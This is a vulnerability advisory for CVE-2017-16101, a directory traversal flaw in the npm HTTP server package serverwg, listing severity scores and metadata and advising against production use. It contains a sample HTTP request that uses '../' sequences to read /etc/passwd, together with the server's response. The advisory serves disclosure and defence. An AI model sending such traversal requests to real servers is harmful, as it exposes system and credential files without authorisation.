CVE-2017-16101 – serverwg

Package

Manager: npm
Name: serverwg
Vulnerable Version: >=0.0.0

Severity

Level: High

CVSS v3.1: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00561 pctl0.67359

Details

Directory Traversal in serverwg `serverwg` is a simple http server. `serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host:foo ``` and response: ``` HTTP/1.1 200 OK Date: Wed, 17 May 2017 22:52:08 GMT Connection: keep-alive {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Metadata

Created: 2020-09-01T16:52:33Z
Modified: 2023-09-07T20:42:00Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-2f29-pmpx-vj62/GHSA-2f29-pmpx-vj62.json
CWE IDs: ["CWE-22"]
Alternative ID: GHSA-2f29-pmpx-vj62
Finding: F063
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